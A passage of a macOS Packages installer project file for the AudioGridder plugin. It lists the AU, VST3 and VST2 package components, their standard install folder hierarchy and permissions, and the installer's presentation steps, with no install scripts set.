<key>PATH</key>
<string>Library</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Shared</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>1023</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Users</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>/</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<key>PAYLOAD_TYPE</key>
<integer>0</integer>
<key>PRESERVE_EXTENDED_ATTRIBUTES</key>
<false/>
<key>SHOW_INVISIBLE</key>
<false/>
<key>SPLIT_FORKS</key>
<true/>
<key>TREAT_MISSING_FILES_AS_WARNING</key>
<false/>
<key>VERSION</key>
<integer>5</integer>
</dict>
<key>PACKAGE_SCRIPTS</key>
<dict>
<key>POSTINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>PREINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>RESOURCES</key>
<array/>
</dict>
<key>PACKAGE_SETTINGS</key>
<dict>
<key>AUTHENTICATION</key>
<integer>1</integer>
<key>CONCLUSION_ACTION</key>
<integer>0</integer>
<key>FOLLOW_SYMBOLIC_LINKS</key>
<false/>
<key>IDENTIFIER</key>
<string>com.e47.pkg.au</string>
<key>LOCATION</key>
<integer>0</integer>
<key>NAME</key>
<string>Plugin AU</string>
<key>OVERWRITE_PERMISSIONS</key>
<false/>
<key>PAYLOAD_SIZE</key>
<integer>-1</integer>
<key>REFERENCE_PATH</key>
<string></string>
<key>RELOCATABLE</key>
<false/>
<key>USE_HFS+_COMPRESSION</key>
<false/>
<key>VERSION</key>
<string>1.1</string>
</dict>
<key>TYPE</key>
<integer>0</integer>
<key>UUID</key>
<string>7E3CC886-5088-4737-8201-1B8ECC8DB802</string>
</dict>
<dict>
<key>MUST-CLOSE-APPLICATION-ITEMS</key>
<array/>
<key>MUST-CLOSE-APPLICATIONS</key>
<false/>
<key>PACKAGE_FILES</key>
<dict>
<key>DEFAULT_INSTALL_LOCATION</key>
<string>/</string>
<key>HIERARCHY</key>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Applications</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Application Support</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>BUNDLE_CAN_DOWNGRADE</key>
<true/>
<key>BUNDLE_POSTINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>BUNDLE_PREINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>../Plugin/Fx/Builds/MacOSX/build/Release/AudioGridder.vst3</string>
<key>PATH_TYPE</key>
<integer>1</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>3</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>BUNDLE_CAN_DOWNGRADE</key>
<true/>
<key>BUNDLE_POSTINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>BUNDLE_PREINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>../Plugin/Inst/Builds/MacOSX/build/Release/AudioGridderInst.vst3</string>
<key>PATH_TYPE</key>
<integer>1</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>3</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>VST3</string>
<key>PATH_TYPE</key>
<integer>2</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>2</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Plug-Ins</string>
<key>PATH_TYPE</key>
<integer>2</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>2</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Audio</string>
<key>PATH_TYPE</key>
<integer>2</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>2</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Automator</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Documentation</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Extensions</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Filesystems</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Frameworks</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Input Methods</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Internet Plug-Ins</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>LaunchAgents</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>LaunchDaemons</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>PreferencePanes</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Preferences</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Printers</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>PrivilegedHelperTools</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>1005</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>QuickLook</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>QuickTime</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Screen Savers</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Scripts</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Services</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Widgets</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Library</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Shared</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>1023</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Users</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>/</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<key>PAYLOAD_TYPE</key>
<integer>0</integer>
<key>PRESERVE_EXTENDED_ATTRIBUTES</key>
<false/>
<key>SHOW_INVISIBLE</key>
<false/>
<key>SPLIT_FORKS</key>
<true/>
<key>TREAT_MISSING_FILES_AS_WARNING</key>
<false/>
<key>VERSION</key>
<integer>5</integer>
</dict>
<key>PACKAGE_SCRIPTS</key>
<dict>
<key>POSTINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>PREINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>RESOURCES</key>
<array/>
</dict>
<key>PACKAGE_SETTINGS</key>
<dict>
<key>AUTHENTICATION</key>
<integer>1</integer>
<key>CONCLUSION_ACTION</key>
<integer>0</integer>
<key>FOLLOW_SYMBOLIC_LINKS</key>
<false/>
<key>IDENTIFIER</key>
<string>com.e47.pkg.vst3</string>
<key>LOCATION</key>
<integer>0</integer>
<key>NAME</key>
<string>Plugin VST3</string>
<key>OVERWRITE_PERMISSIONS</key>
<false/>
<key>PAYLOAD_SIZE</key>
<integer>-1</integer>
<key>REFERENCE_PATH</key>
<string></string>
<key>RELOCATABLE</key>
<false/>
<key>USE_HFS+_COMPRESSION</key>
<false/>
<key>VERSION</key>
<string>1.1</string>
</dict>
<key>TYPE</key>
<integer>0</integer>
<key>UUID</key>
<string>FAE12B9B-199E-4A35-9846-C0AE05EBF041</string>
</dict>
<dict>
<key>MUST-CLOSE-APPLICATION-ITEMS</key>
<array/>
<key>MUST-CLOSE-APPLICATIONS</key>
<false/>
<key>PACKAGE_FILES</key>
<dict>
<key>DEFAULT_INSTALL_LOCATION</key>
<string>/</string>
<key>HIERARCHY</key>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Applications</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Application Support</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>BUNDLE_CAN_DOWNGRADE</key>
<true/>
<key>BUNDLE_POSTINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>BUNDLE_PREINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>../Plugin/Fx/Builds/MacOSX/build/Release/AudioGridder.vst</string>
<key>PATH_TYPE</key>
<integer>1</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>3</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>BUNDLE_CAN_DOWNGRADE</key>
<true/>
<key>BUNDLE_POSTINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>BUNDLE_PREINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>../Plugin/Inst/Builds/MacOSX/build/Release/AudioGridderInst.vst</string>
<key>PATH_TYPE</key>
<integer>1</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>3</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>VST</string>
<key>PATH_TYPE</key>
<integer>2</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>2</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Plug-Ins</string>
<key>PATH_TYPE</key>
<integer>2</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>2</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Audio</string>
<key>PATH_TYPE</key>
<integer>2</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>2</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Automator</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Documentation</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Extensions</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Filesystems</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Frameworks</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Input Methods</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Internet Plug-Ins</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>LaunchAgents</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>LaunchDaemons</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>PreferencePanes</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Preferences</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Printers</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>PrivilegedHelperTools</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>1005</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>QuickLook</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>QuickTime</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Screen Savers</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Scripts</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Services</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Widgets</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Library</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Shared</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>1023</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Users</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>/</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<key>PAYLOAD_TYPE</key>
<integer>0</integer>
<key>PRESERVE_EXTENDED_ATTRIBUTES</key>
<false/>
<key>SHOW_INVISIBLE</key>
<false/>
<key>SPLIT_FORKS</key>
<true/>
<key>TREAT_MISSING_FILES_AS_WARNING</key>
<false/>
<key>VERSION</key>
<integer>5</integer>
</dict>
<key>PACKAGE_SETTINGS</key>
<dict>
<key>AUTHENTICATION</key>
<integer>1</integer>
<key>CONCLUSION_ACTION</key>
<integer>0</integer>
<key>FOLLOW_SYMBOLIC_LINKS</key>
<false/>
<key>IDENTIFIER</key>
<string>com.e47.pkg.vst</string>
<key>LOCATION</key>
<integer>0</integer>
<key>NAME</key>
<string>Plugin VST2</string>
<key>OVERWRITE_PERMISSIONS</key>
<false/>
<key>PAYLOAD_SIZE</key>
<integer>-1</integer>
<key>REFERENCE_PATH</key>
<string></string>
<key>RELOCATABLE</key>
<false/>
<key>USE_HFS+_COMPRESSION</key>
<false/>
<key>VERSION</key>
<string>1.1</string>
</dict>
<key>TYPE</key>
<integer>0</integer>
<key>UUID</key>
<string>3915C2DE-08A6-47E7-869B-F90E86BC573A</string>
</dict>
</array>
<key>PROJECT</key>
<dict>
<key>PROJECT_COMMENTS</key>
<dict>
<key>NOTES</key>
<data>
</data>
</dict>
<key>PROJECT_PRESENTATION</key>
<dict>
<key>BACKGROUND</key>
<dict>
<key>APPAREANCES</key>
<dict>
<key>DARK_AQUA</key>
<dict/>
<key>LIGHT_AQUA</key>
<dict/>
</dict>
<key>SHARED_SETTINGS_FOR_ALL_APPAREANCES</key>
<true/>
</dict>
<key>INSTALLATION TYPE</key>
<dict>
<key>HIERARCHIES</key>
<dict>
<key>INSTALLER</key>
<dict>
<key>LIST</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>DESCRIPTION</key>
<array/>
<key>OPTIONS</key>
<dict>
<key>HIDDEN</key>
<false/>
<key>STATE</key>
<integer>1</integer>
</dict>
<key>PACKAGE_UUID</key>
<string>7E3CC886-5088-4737-8201-1B8ECC8DB802</string>
<key>TITLE</key>
<array/>
<key>TYPE</key>
<integer>0</integer>
<key>UUID</key>
<string>096B58D5-BC05-4D04-9025-A878994DD13B</string>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>DESCRIPTION</key>
<array/>
<key>OPTIONS</key>
<dict>
<key>HIDDEN</key>
<false/>
<key>STATE</key>
<integer>1</integer>
</dict>
<key>PACKAGE_UUID</key>
<string>FAE12B9B-199E-4A35-9846-C0AE05EBF041</string>
<key>TITLE</key>
<array/>
<key>TYPE</key>
<integer>0</integer>
<key>UUID</key>
<string>45ADC0B3-6C41-4B49-8766-495EF88BBD48</string>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>DESCRIPTION</key>
<array/>
<key>OPTIONS</key>
<dict>
<key>HIDDEN</key>
<false/>
<key>STATE</key>
<integer>1</integer>
</dict>
<key>PACKAGE_UUID</key>
<string>3915C2DE-08A6-47E7-869B-F90E86BC573A</string>
<key>TITLE</key>
<array/>
<key>TYPE</key>
<integer>0</integer>
<key>UUID</key>
<string>C4DDA442-7C59-41BA-ACDB-B6C6CC0AB361</string>
</dict>
</array>
<key>REMOVED</key>
<dict/>
</dict>
</dict>
<key>MODE</key>
<integer>0</integer>
</dict>
<key>INSTALLATION_STEPS</key>
<array>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewIntroductionController</string>
<key>INSTALLER_PLUGIN</key>
<string>Introduction</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewReadMeController</string>
<key>INSTALLER_PLUGIN</key>
<string>ReadMe</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewLicenseController</string>
<key>INSTALLER_PLUGIN</key>
<string>License</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewDestinationSelectController</string>
<key>INSTALLER_PLUGIN</key>
<string>TargetSelect</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewInstallationTypeController</string>
<key>INSTALLER_PLUGIN</key>
<string>PackageSelection</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
